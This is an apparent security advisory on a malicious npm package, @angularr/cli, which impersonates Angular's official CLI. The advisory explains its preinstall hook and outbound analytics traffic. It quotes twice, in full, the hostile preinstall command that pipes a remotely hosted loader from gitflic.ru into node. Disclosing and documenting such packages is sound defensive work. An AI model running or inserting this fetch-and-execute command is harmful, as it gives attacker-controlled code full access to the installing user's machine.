Malicious code in @angularr/cli (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

@angularr/[email protected] impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the `ng` binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8) Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any `npm install @angularr/cli` performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.
